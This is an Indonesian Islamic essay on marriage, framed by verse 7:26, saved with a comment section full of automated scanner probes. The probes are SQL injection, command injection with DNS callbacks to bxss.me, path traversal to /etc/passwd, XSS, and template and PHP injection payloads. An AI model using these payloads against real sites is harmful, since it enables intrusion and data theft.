Memahami Fungsi Pakaian untuk Keluarga Harmonis (2)

Publish

24 November 2023

Suara Muhammadiyah

Penulis

0
614
Foto Istimewa

Foto Istimewa

Trilogi Bagian Kedua: Suami istri Saling Menutupi Ketidaksempurnaan Pasangannya

Oleh: M. Rifqi Rosyidi, Lc., M.Ag.

Selain berfungsi sebagai perhiasan yang diharapkan mampu menambah keanggunan pemakainya, Q.S. Al-A'rāf [7]: 26 juga menyatakan fungsi pakaian yang lebih penting dari sekedar menjadi perhiasan yaitu menutupi aurat [yuwārī sauātikum] dalam menjaga kehormatan pemakainya dari segala bentuk pelecehan. Karena anggota badan yang masuk dalam kategori aurat seharusnya merupakan wilayah pribadi yang sangat privat, sehingga tidak layak untuk dibiarkan terbuka menjadi tontonan publik.

Yang kemudian perlu dicermati adalah bahwa ayat ini [7:26] menyebutkan dua fungsi pakaian sekaligus. Pertama menutup aurat [yuwārī sauātikum] dan kedua sebagai perhiasan [rīsyan] yang secara tidak langsung ada sebuah pesan yang bisa ditangkap, yaitu bahwa dalam memilih pakaian tidak cukup hanya mempertimbangkan kualitas bahan,  keindahan tekstur kainnya dan trend modelnya tetapi juga harus memenuhi kriteria spiritualitas dengan tidak menampakkan aurat sesuai ketentuan agama, dan ini yang lebih penting.

Fenomena akhir zaman telah banyak merubah sudut pandang manusia tentang substansi pakaian, karena yang lebih diutamakan adalah bahan dan modelnya bukan ketertutupan auratnya sehingga banyak yang terlihat berpakaian modis dan mahal tetapi terkesan seperti telanjang karena hampir semua lekuk tubuhnya bisa dilihat akibat dari terbukanya mayoritas anggota badan dan tipisnya bahan. Ini yang kemudian diungkapkan oleh nabi sebagai fenomena tanda semakin dekatnya kiamat dengan terminologi 'āriyāt kāsiyāt dan kāsiyāt 'āriyāt: dikatakan telanjang tetapi kok sudah berpakaian, tetapi dikatakan berpakaian kok hampir semua permukaan tubuhnya tidak tertutup. 

Dalam konteks menciptakan hubungan suami istri yang harmonis juga harus menggunakan paradigma fungsi pakaian yang bukan hanya sebagai perhiasan tetapi juga harus memenuhi kriteria menutupi aurat. Artinya bahwa masing-masing dari suami dan istri juga harus mampu menutupi kekurangan dan keterbatasan pasangannya. Kekurangan, keterbatasan dan bahkan perilaku-perilaku yang terindikasi tidak baik harus menjadi rahasia bagi masing-masing suami istri dan jangan sampai terekspose keluar pintu rumah tangga. Hal Ini tidak bisa lepas dari prinsip hubungan sosial yang islami di mana ada keharusan bagi seseorang muslim untuk menutupi kekurangan dan aib sesama muslim lainnya, dan Allah akan mengapresiasinya dengan perlakuan yang sama di akhirat kelak, bahkan ditutupi dari siksa neraka. Maka dalam prinsip hubungan sesama pasangan suami istri yang cara menyatukan keduanya melalui proses perjanjian yang berat [mitsāqan ghalīdhān] maka harus lebih kuat lagi berupaya menutupi dan menyembunyikan kekurangan pasangannya. 

Kalau setiap pasangan memahami kewajiban dan hak suami istri dengan perspektif fungsi pakaian pada ayat di atas, maka sejatinya ia telah merawat karakter al-hāfidzīna furūjahum wa al-hāfidzāt yang disebutkan di dalam Q.S. al-Ahzab [33]: 35. Yaitu pasangan yang menjaga aurat dan mengendalikan syahwat kemaluannya supaya tidak menjadi penyebab orang lain melakukan dosa. Dan yang lebih spesifik lagi disebutkan di Q.S. al-Nisa [4]: 34 dengan ungkapan hāfidzāt li al-ghaybi bi mā hafidza Allāh. Dalam konteks ayat ini dapat ditegaskan bahwa istri yang sholehah adalah  wanita yang taat beragama dan mampu menjaga diri dan rumahnya ketika suami sedang bertugas di luar dengan tetap menjaga rumahnya sebagai wilayah yang sangat pribadi. Dalam kondisi semacam ini, istri yang sedang menjaga kehormatannya dapat mengembangkan prinsip: inna buyūtanā áurah (sesungguhnya rumahku auratku). 

Prinsipnya pasangan yang bisa memerankan dirinya menjadi pakaian dengan mengembangkan spirit  yuwārī sauātikum bagi pasangannya, sebenarnya telah memiliki kekuatan internal dalam mengendalikan potensi negatif yang  ditimbulkan oleh mulut dan kemaluannya. Logikanya seseorang yang tidak mampu mengendalikan lisannya akan sangat mudah untuk menyebarkan kekurangan saudaranya termasuk suami atau istrinya. Sedangkan seseorang yang tidak mampu mengendalikan syahwatnya, maka syahwatnya akan mengendalikan hidupnya dan menghilangkan rasa malunya  bahkan bangga mempertontonkan auratnya.

Imam Bukhari meriwayatkan sebuah hadits yang menyatakan bahwa Rasulullah memberikan jaminan surga bagi yang benar-benar mampu mengendalikan lisan [mā bayna lihyayhi] dan kemaluannya [mā bayna fakhidzayhi].  Dalam konteks berkeluarga apabila suami istri mendambakan rumahnya menjadi surga di dunia, maka hendaklah masing-masing dari kedua pasangan mengendalikan lisannya dan kemaluannya.

Oleh: M. Rifqi Rosyidi, Lc., M.Ag., Dewan Pakar Sahabat Misykat Indonesia, Mudir Pondok Modern Muhammadiyah Paciran


Komentar

pHqghUme

555

pHqghUme

1CEfYLocoaO

pHqghUme

response.write(9507727*9117789)

pHqghUme

'+response.write(9507727*9117789)+'

pHqghUme

"+response.write(9507727*9117789)+"

pHqghUme

99V726tR

pHqghUme

555 bcc:009247.14963-257355.14963.d48de.19800.2@bxss.me

pHqghUme

555

pHqghUme

to@example.com> bcc:009247.14963-257356.14963.d48de.19800.2@bxss.me

pHqghUme

../../../../../../../../../../../../../../etc/passwd

pHqghUme

echo ipeiyx$()\ oqtndv\nz^xyu||a #' &echo ipeiyx$()\ oqtndv\nz^xyu||a #|" &echo ipeiyx$()\ oqtndv\nz^xyu||a #

pHqghUme

../../../../../../../../../../../../../../windows/win.ini

pHqghUme

555<esi:include src="http://bxss.me/rpb.png"/>

pHqghUme

&echo tqnnyx$()\ hmoust\nz^xyu||a #' &echo tqnnyx$()\ hmoust\nz^xyu||a #|" &echo tqnnyx$()\ hmoust\nz^xyu||a #

pHqghUme

|echo fhbbrh$()\ jrurqb\nz^xyu||a #' |echo fhbbrh$()\ jrurqb\nz^xyu||a #|" |echo fhbbrh$()\ jrurqb\nz^xyu||a #

pHqghUme

555

pHqghUme

../555

pHqghUme

(nslookup hitoxmquanypyaaced.bxss.me||perl -e "gethostbyname('hitoxmquanypyaaced.bxss.me')")

pHqghUme

${10000331+10000187}

pHqghUme

$(nslookup hitaydmzxbbvj78bdf.bxss.me||perl -e "gethostbyname('hitaydmzxbbvj78bdf.bxss.me')")

pHqghUme

&(nslookup hitidgpkqjgnd500f6.bxss.me||perl -e "gethostbyname('hitidgpkqjgnd500f6.bxss.me')")&'\"`0&(nslookup hitidgpkqjgnd500f6.bxss.me||perl -e "gethostbyname('hitidgpkqjgnd500f6.bxss.me')")&`'

pHqghUme

|(nslookup hitkmkykubetd3e11b.bxss.me||perl -e "gethostbyname('hitkmkykubetd3e11b.bxss.me')")

pHqghUme

`(nslookup hitljbywmjozu417c2.bxss.me||perl -e "gethostbyname('hitljbywmjozu417c2.bxss.me')")`

pHqghUme

555&n900506=v908379

pHqghUme

555

pHqghUme

)

pHqghUme

!(()&&!|*|*|

pHqghUme

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

pHqghUme

^(#$!@#$)(()))******

pHqghUme

'"()

pHqghUme

'.gethostbyname(lc('hiths'.'ydfixfaoed5e8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(77).chr(119).chr(71).'

pHqghUme

1some_inexistent_file_with_long_name.jpg

pHqghUme

Http://bxss.me/t/fit.txt

pHqghUme

".gethostbyname(lc("hitwh"."eauhinnve4798.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(75).chr(122).chr(89)."

pHqghUme

HttP://bxss.me/t/xss.html?%00

pHqghUme

http://bxss.me/t/fit.txt?.jpg

pHqghUme

bxss.me/t/xss.html?%00

pHqghUme

/etc/shells

pHqghUme

"+"A".concat(70-3).concat(22*4).concat(118).concat(82).concat(104).concat(76)+(require"socket" Socket.gethostbyname("hithh"+"ifjaytgh443cc.bxss.me.")[3].to_s)+"

pHqghUme

'+'A'.concat(70-3).concat(22*4).concat(117).concat(68).concat(110).concat(89)+(require'socket' Socket.gethostbyname('hitxx'+'zgqvolct562c0.bxss.me.')[3].to_s)+'

pHqghUme

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

pHqghUme

c:/windows/win.ini

pHqghUme

memahami-fungsi-pakaian-untuk-keluarga-harmonis-2

pHqghUme

';print(md5(31337));$a='

pHqghUme

bxss.me

pHqghUme

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

pHqghUme

memahami-fungsi-pakaian-untuk-keluarga-harmonis-2

pHqghUme

";print(md5(31337));$a="

pHqghUme

memahami-fungsi-pakaian-untuk-keluarga-harmonis-2/.

pHqghUme

/xfs.bxss.me

pHqghUme

${@print(md5(31337))}

pHqghUme

${@print(md5(31337))}\

pHqghUme

'.print(md5(31337)).'

pHqghUme

'"

pHqghUme

<!--

pHqghUme

555'"()&%<acx><ScRiPt >G6TE(9720)</ScRiPt>

pHqghUme

555

pHqghUme

'"()&%<acx><ScRiPt >G6TE(9607)</ScRiPt>

pHqghUme

5559932651

pHqghUme

acu8526<s1﹥s2ʺs3ʹuca8526

pHqghUme

<%={{={@{#{${acx}}%>

pHqghUme

<th:t="${acx}#foreach

pHqghUme

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

pHqghUme

acx{{98991*97996}}xca

pHqghUme

acx[[${98991*97996}]]xca

pHqghUme

acx__${98991*97996}__::.x

pHqghUme

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

pHqghUme

acu10370<s1﹥s2ʺs3ʹuca10370

pHqghUme

<%={{={@{#{${acx}}%>

pHqghUme

<th:t="${acx}#foreach

pHqghUme

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

pHqghUme

acx{{98991*97996}}xca

pHqghUme

acx[[${98991*97996}]]xca

pHqghUme

acx__${98991*97996}__::.x

pHqghUme

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

pHqghUme

5559897"();}]9840

pHqghUme

%35%35%35%39%36%34%34%22%28%29%3B%7D%5D%39%34%38%37

pHqghUme

555</script><script>G6TE(9792)</script>

pHqghUme

555

pHqghUme

555

pHqghUme

rdnSnX2L

pHqghUme

-1 OR 2+328-328-1=0+0+0+1 --

pHqghUme

-1 OR 2+772-772-1=0+0+0+1

pHqghUme

-1' OR 2+615-615-1=0+0+0+1 --

pHqghUme

-1' OR 2+821-821-1=0+0+0+1 or 'gYuVdJb6'='

pHqghUme

-1" OR 2+29-29-1=0+0+0+1 --

pHqghUme

if(now()=sysdate(),sleep(15),0)

pHqghUme

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme

-1; waitfor delay '0:0:15' --

pHqghUme

-1); waitfor delay '0:0:15' --

pHqghUme

1 waitfor delay '0:0:15' --

pHqghUme

OFD9i9kV'; waitfor delay '0:0:15' --

pHqghUme

-5 OR 388=(SELECT 388 FROM PG_SLEEP(15))--

pHqghUme

-5) OR 49=(SELECT 49 FROM PG_SLEEP(15))--

pHqghUme

-1)) OR 180=(SELECT 180 FROM PG_SLEEP(15))--

pHqghUme

phha5k0U' OR 539=(SELECT 539 FROM PG_SLEEP(15))--

pHqghUme

p1VQh8jH') OR 710=(SELECT 710 FROM PG_SLEEP(15))--

pHqghUme

glQuO1m2')) OR 272=(SELECT 272 FROM PG_SLEEP(15))--

pHqghUme

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme

1'"

pHqghUme

@@uDw0Z

pHqghUme

555

Berita Lainnya

Berita Terkait

Tentang Politik, Pemerintahan, Partai, Dll

Wawasan

Berkah Literasi: Ramadhan dan Buku Oleh: Fathan Faris Saputro Ramadhan, bulan penuh berkah bagi um....

Suara Muhammadiyah

12 March 2024

Wawasan

Menjaga Amanah Persyarikatan Oleh: Saidun Derani Pada Pembukaan Baitul Arqam Pimpinan  Univer....

Suara Muhammadiyah

14 January 2024

Wawasan

Pay Later Syariah Oleh: Joko Intarto Namanya ‘’BankZiska’’ Tapi BankZiska ....

Suara Muhammadiyah

30 October 2023

Wawasan

Menyingkap Huruf-Huruf Misterius dalam Al-Qur`an (1) Oleh: Donny Syofyan, Dosen Fakultas Ilmu Buday....

Suara Muhammadiyah

24 April 2024

Wawasan

Merawat Kader, Merawat Ideologi: Muhammadiyah Harus Menjemput Bola Oleh: Kens Geo Danuarta, Kader I....

Suara Muhammadiyah

28 February 2024

Tentang

© Copyright . Suara Muhammadiyah